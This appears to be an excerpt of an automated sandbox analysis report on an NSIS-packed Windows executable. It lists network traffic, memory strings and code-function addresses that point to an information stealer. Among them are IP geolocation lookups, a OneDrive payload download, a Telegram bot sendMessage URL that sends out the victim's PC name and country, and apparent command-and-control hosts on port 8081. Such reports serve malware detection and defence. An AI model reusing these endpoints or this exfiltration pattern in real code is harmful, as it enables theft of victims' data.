Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:141700%0D%0ADate%20and%20Time:%2012/11/2024%20/%2018:46:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20141700%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.onedrive.com
Source: global traffic	DNS traffic detected: DNS query: fa2ytg.dm.files.1drv.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.foodex.com.pk

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 12 Nov 2024 06:37:04 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: ________.exe, 00000003.00000002.3975771250.0000000032E67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: ________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: ________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: ________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: ________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: ________.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: ________.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: ________.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: ________.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: ________.exe, 00000003.00000002.3975771250.0000000032EFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foodex.com.pk
Source: ________.exe, 00000003.00000002.3975771250.0000000032E67000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032EFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.foodex.com.pk
Source: ________.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ________.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: ________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ________.exe, 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ________.exe, 00000003.00000002.3954718526.00000000025B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.onedrive.com/
Source: ________.exe, 00000003.00000002.3954718526.00000000025F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.onedrive.com/v1.0/shares/s
Source: ________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: ________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: ________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: ________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:141700%0D%0ADate%20a
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ________.exe, 00000003.00000002.3975771250.0000000032F20000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: ________.exe, 00000003.00000002.3975771250.0000000032F1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ________.exe, 00000003.00000003.1709008650.0000000002628000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000003.00000003.1735530271.0000000002628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa2ytg.dm.files.1drv.com/
Source: ________.exe, 00000003.00000003.1735612317.0000000002628000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000003.00000003.1735530271.0000000002628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa2ytg.dm.files.1drv.com/oft
Source: ________.exe, 00000003.00000003.1735612317.0000000002628000.00000004.00000020.00020000.00000000.sdmp, ________.exe, 00000003.00000003.1735530271.0000000002628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa2ytg.dm.files.1drv.com/y4mMPMXGbTpZA5YgHaTE31Fc-Wg6Iu9gpthjDJlQ5ie3dz395ZMCu5rd38cOpuGMXl4
Source: ________.exe, 00000003.00000003.1735530271.0000000002628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fa2ytg.dm.files.1drv.com/y4m_K24I_IZwtc1os-c0UOoxdtzKrradsOM2iRZNEMhYqB_oUmwpewHC2hedgX3rXjZ
Source: ________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032DAE000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032E1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: ________.exe, 00000003.00000002.3975771250.0000000032DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ________.exe, 00000003.00000002.3975771250.0000000032E1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.68
Source: ________.exe, 00000003.00000002.3975771250.0000000032E49000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032DDC000.00000004.00000800.00020000.00000000.sdmp, ________.exe, 00000003.00000002.3975771250.0000000032E1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.68$
Source: ________.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ________.exe, 00000003.00000002.3976863799.0000000033D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ________.exe, 00000003.00000002.3975771250.0000000032F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: ________.exe, 00000003.00000002.3975771250.0000000032F42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/8ub
Source: ________.exe, 00000003.00000002.3975771250.0000000032F4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49730 version: TLS 1.2

Source: C:\Users\user\Desktop\________.exe

Code function: 1_2_004052D3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_004052D3

Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		1_2_0040335A
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		3_2_0040335A

Source: C:\Users\user\Desktop\________.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_00404B10	1_2_00404B10
Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_0040653F	1_2_0040653F
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00404B10	3_2_00404B10
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0040653F	3_2_0040653F
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015D2CD	3_2_0015D2CD
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00155370	3_2_00155370
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015D599	3_2_0015D599
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015C5C0	3_2_0015C5C0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_001577A0	3_2_001577A0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00155968	3_2_00155968
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_001529E0	3_2_001529E0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015CA58	3_2_0015CA58
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015AA78	3_2_0015AA78
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015EC18	3_2_0015EC18
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015CD28	3_2_0015CD28
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00157F18	3_2_00157F18
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015CFF7	3_2_0015CFF7
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015C788	3_2_0015C788
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015F804	3_2_0015F804
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015EC0C	3_2_0015EC0C
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0015FC48	3_2_0015FC48
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00153E09	3_2_00153E09
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D45290	3_2_32D45290
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D42288	3_2_32D42288
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D41BA8	3_2_32D41BA8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4E068	3_2_32D4E068
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D49590	3_2_32D49590
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D42970	3_2_32D42970
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D49E80	3_2_32D49E80
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D45283	3_2_32D45283
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4FA78	3_2_32D4FA78
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D42278	3_2_32D42278
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4FA69	3_2_32D4FA69
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4F610	3_2_32D4F610
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D48E08	3_2_32D48E08
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4F620	3_2_32D4F620
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D41B97	3_2_32D41B97
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D497B0	3_2_32D497B0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4D7B8	3_2_32D4D7B8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4D351	3_2_32D4D351
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4D360	3_2_32D4D360
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4CF08	3_2_32D4CF08
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4C737	3_2_32D4C737
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D40B30	3_2_32D40B30
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D40B20	3_2_32D40B20
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4E4C0	3_2_32D4E4C0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4E4B1	3_2_32D4E4B1
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4E4BF	3_2_32D4E4BF
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4E059	3_2_32D4E059
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D40040	3_2_32D40040
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4DC10	3_2_32D4DC10
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D40006	3_2_32D40006
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4DC01	3_2_32D4DC01
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4F1C8	3_2_32D4F1C8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D48DF9	3_2_32D48DF9
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4F1B9	3_2_32D4F1B9
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4ED70	3_2_32D4ED70
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4ED60	3_2_32D4ED60
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4C961	3_2_32D4C961
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4E918	3_2_32D4E918
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_32D4E908	3_2_32D4E908
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E981D0	3_2_35E981D0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E98FB0	3_2_35E98FB0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E97B78	3_2_35E97B78
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E90040	3_2_35E90040
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9C5E8	3_2_35E9C5E8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E915E8	3_2_35E915E8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E915F8	3_2_35E915F8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9E5C8	3_2_35E9E5C8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E95BD8	3_2_35E95BD8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9E5D8	3_2_35E9E5D8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9C5D8	3_2_35E9C5D8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9B3A8	3_2_35E9B3A8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E92BAF	3_2_35E92BAF
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E98FA1	3_2_35E98FA1
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E911A0	3_2_35E911A0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E92BA0	3_2_35E92BA0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E92BB0	3_2_35E92BB0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9F388	3_2_35E9F388
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E95780	3_2_35E95780
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9D387	3_2_35E9D387
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9D398	3_2_35E9D398
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9B398	3_2_35E9B398
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9119F	3_2_35E9119F
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E91190	3_2_35E91190
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E97B69	3_2_35E97B69
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9F378	3_2_35E9F378
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E97B77	3_2_35E97B77
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E92749	3_2_35E92749
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9E148	3_2_35E9E148
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E90D48	3_2_35E90D48
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9C148	3_2_35E9C148
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9C158	3_2_35E9C158
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E92758	3_2_35E92758
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E92757	3_2_35E92757
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E95328	3_2_35E95328
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9A528	3_2_35E9A528
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E97720	3_2_35E97720
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E97722	3_2_35E97722
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9A538	3_2_35E9A538
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9E138	3_2_35E9E138
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9CF08	3_2_35E9CF08
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E92300	3_2_35E92300
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9AF07	3_2_35E9AF07
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9AF18	3_2_35E9AF18
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E994E2	3_2_35E994E2
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9EEE7	3_2_35E9EEE7
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9EEF8	3_2_35E9EEF8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E908F0	3_2_35E908F0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E922F0	3_2_35E922F0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9CEF7	3_2_35E9CEF7
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9BCC8	3_2_35E9BCC8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E972C8	3_2_35E972C8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E980C8	3_2_35E980C8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E94ED0	3_2_35E94ED0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E91EA8	3_2_35E91EA8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9FCA8	3_2_35E9FCA8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E938A8	3_2_35E938A8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9DCA7	3_2_35E9DCA7
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E938B8	3_2_35E938B8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9DCB8	3_2_35E9DCB8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E972B8	3_2_35E972B8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9BCB7	3_2_35E9BCB7
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E96488	3_2_35E96488
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E90498	3_2_35E90498
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E91E98	3_2_35E91E98
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9FC98	3_2_35E9FC98
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9EA68	3_2_35E9EA68
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E93460	3_2_35E93460
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9CA67	3_2_35E9CA67
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9CA78	3_2_35E9CA78
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E94A78	3_2_35E94A78
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E96E70	3_2_35E96E70
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E91A41	3_2_35E91A41
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E91A50	3_2_35E91A50
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E93450	3_2_35E93450
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9EA57	3_2_35E9EA57
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9B829	3_2_35E9B829
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9D828	3_2_35E9D828
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E96021	3_2_35E96021
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E94620	3_2_35E94620
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E90027	3_2_35E90027
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9B838	3_2_35E9B838
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E96030	3_2_35E96030
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9F809	3_2_35E9F809
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E96A07	3_2_35E96A07
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9D819	3_2_35E9D819
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E96A18	3_2_35E96A18
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E9F818	3_2_35E9F818
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E94610	3_2_35E94610
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F061E8	3_2_35F061E8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F05B48	3_2_35F05B48
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F03238	3_2_35F03238
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F00DF0	3_2_35F00DF0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F08CF0	3_2_35F08CF0
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F01FF8	3_2_35F01FF8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F0B7F8	3_2_35F0B7F8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F074F8	3_2_35F074F8
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35F048F9	3_2_35F048F9
